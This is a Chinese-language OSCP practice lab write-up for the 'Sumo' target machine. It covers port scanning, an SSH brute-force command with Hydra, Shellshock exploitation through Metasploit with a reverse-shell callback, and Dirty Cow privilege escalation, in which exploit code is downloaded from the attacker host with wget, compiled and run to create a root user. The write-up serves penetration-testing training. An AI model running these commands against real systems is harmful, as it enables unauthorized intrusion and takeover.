OSCP系列靶场-Esay-Sumo
字数 1446 2025-08-10 13:48:27

OSCP靶场实战:Sumo靶机渗透测试报告

1. 靶机概述

Sumo是一个难度为"Easy"的OSCP练习靶机,主要考察以下技能:

  • 信息收集与枚举
  • Shellshock漏洞利用
  • 脏牛(Dirty Cow)提权技术
  • Linux系统提权方法

2. 环境准备

2.1 网络配置

  • 攻击机IP: 192.168.45.194
  • 靶机IP: 192.168.190.87
  • VPN连接: 已建立

2.2 工具准备

  • Nmap
  • Nikto
  • Dirsearch/Dirb
  • Gobuster
  • Metasploit Framework
  • Hydra
  • 常用字典文件

3. 信息收集阶段

3.1 端口扫描

使用Nmap进行两次扫描以减少误报:

sudo nmap --min-rate 10000 -p- 192.168.190.87

扫描结果

  • 22/tcp - OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu)
  • 80/tcp - Apache httpd 2.2.22 ((Ubuntu))

3.2 SSH服务分析

版本信息

  • OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu)

登录方式检查

ssh root@192.168.190.87 -v

显示支持publickey和password两种认证方式

弱密码尝试

sudo ssh root@192.168.190.87 -p 22

尝试常见弱密码失败

暴力破解

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22

3.3 HTTP服务分析

Web目录扫描

dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80
gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

Nikto扫描

nikto -h http://192.168.190.87:80

发现Shellshock漏洞(CVE-2014-6278)提示

4. 漏洞利用阶段

4.1 Shellshock漏洞利用

漏洞背景
Shellshock漏洞于2014年9月公开,Bash解释器在处理环境变量时存在缺陷,允许通过恶意环境变量注入任意Shell命令。

Metasploit利用

msfconsole
search CVE-2014-6271
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run

成功获取初始shell权限(www-data用户)

4.2 获取交互式Shell

python -c "import pty;pty.spawn('/bin/bash')"

或使用python3如果python不可用

4.3 获取第一个Flag

find / -name local.txt 2>/dev/null
cat /usr/lib/cgi-bin/local.txt

Flag1: 6b8bdd93e00d8ea52fcc7f201eba9f56

5. 权限提升阶段

5.1 系统信息收集

发行版本

lsb_release -a

Ubuntu 12.04 LTS (Precise)

内核版本

uname -a

Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64

5.2 提权尝试

5.2.1 overlayfs提权

检查内核版本是否在3.13.0到3.19之间,本案例不适用

5.2.2 脏牛(Dirty Cow)提权

方法一

# 在攻击机
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
sudo python3 -m http.server 80

# 在靶机
cd /tmp
wget http://192.168.45.194/40847.cpp
chmod +x 40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

此方法失败,可能缺少g++编译器

方法二

# 在攻击机
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
sudo python3 -m http.server 80

# 在靶机
cd /tmp
wget http://192.168.45.194/40839.c
chmod +x 40839.c
gcc -pthread 40839.c -o dirty -lcrypt
./dirty

创建firefart用户(密码:123456)

验证提权

su firefart
id

显示uid=0(gid=0),提权成功

5.3 获取root Flag

cat /root/proof.txt

Flag2: 22f3656d21fb5ef444ea898e69073476

6. 总结与经验

  1. 信息收集要全面:不要忽视Nikto等工具的扫描结果,Shellshock漏洞就是通过Nikto发现的

  2. 老版本系统要关注:SSH和Apache的老版本提示可能存在已知漏洞

  3. 提权方法选择

    • 内核版本3.2.0较老,适合脏牛提权
    • 当一种提权方法失败时,尝试其他变体
  4. 工具链准备

    • 准备好各种提权exp的本地副本
    • 熟悉快速搭建HTTP服务的方法(python -m http.server)
  5. 渗透测试流程

    • 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 后渗透
    • 每个阶段都要充分枚举和验证
OSCP靶场实战:Sumo靶机渗透测试报告 1. 靶机概述 Sumo是一个难度为"Easy"的OSCP练习靶机,主要考察以下技能: 信息收集与枚举 Shellshock漏洞利用 脏牛(Dirty Cow)提权技术 Linux系统提权方法 2. 环境准备 2.1 网络配置 攻击机IP: 192.168.45.194 靶机IP: 192.168.190.87 VPN连接: 已建立 2.2 工具准备 Nmap Nikto Dirsearch/Dirb Gobuster Metasploit Framework Hydra 常用字典文件 3. 信息收集阶段 3.1 端口扫描 使用Nmap进行两次扫描以减少误报: 扫描结果 : 22/tcp - OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu) 80/tcp - Apache httpd 2.2.22 ((Ubuntu)) 3.2 SSH服务分析 版本信息 : OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu) 登录方式检查 : 显示支持publickey和password两种认证方式 弱密码尝试 : 尝试常见弱密码失败 暴力破解 : 3.3 HTTP服务分析 Web目录扫描 : Nikto扫描 : 发现Shellshock漏洞(CVE-2014-6278)提示 4. 漏洞利用阶段 4.1 Shellshock漏洞利用 漏洞背景 : Shellshock漏洞于2014年9月公开,Bash解释器在处理环境变量时存在缺陷,允许通过恶意环境变量注入任意Shell命令。 Metasploit利用 : 成功获取初始shell权限(www-data用户) 4.2 获取交互式Shell 或使用python3如果python不可用 4.3 获取第一个Flag Flag1: 6b8bdd93e00d8ea52fcc7f201eba9f56 5. 权限提升阶段 5.1 系统信息收集 发行版本 : Ubuntu 12.04 LTS (Precise) 内核版本 : Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_ 64 5.2 提权尝试 5.2.1 overlayfs提权 检查内核版本是否在3.13.0到3.19之间,本案例不适用 5.2.2 脏牛(Dirty Cow)提权 方法一 : 此方法失败,可能缺少g++编译器 方法二 : 创建firefart用户(密码:123456) 验证提权 : 显示uid=0(gid=0),提权成功 5.3 获取root Flag Flag2: 22f3656d21fb5ef444ea898e69073476 6. 总结与经验 信息收集要全面 :不要忽视Nikto等工具的扫描结果,Shellshock漏洞就是通过Nikto发现的 老版本系统要关注 :SSH和Apache的老版本提示可能存在已知漏洞 提权方法选择 : 内核版本3.2.0较老,适合脏牛提权 当一种提权方法失败时,尝试其他变体 工具链准备 : 准备好各种提权exp的本地副本 熟悉快速搭建HTTP服务的方法(python -m http.server) 渗透测试流程 : 信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 后渗透 每个阶段都要充分枚举和验证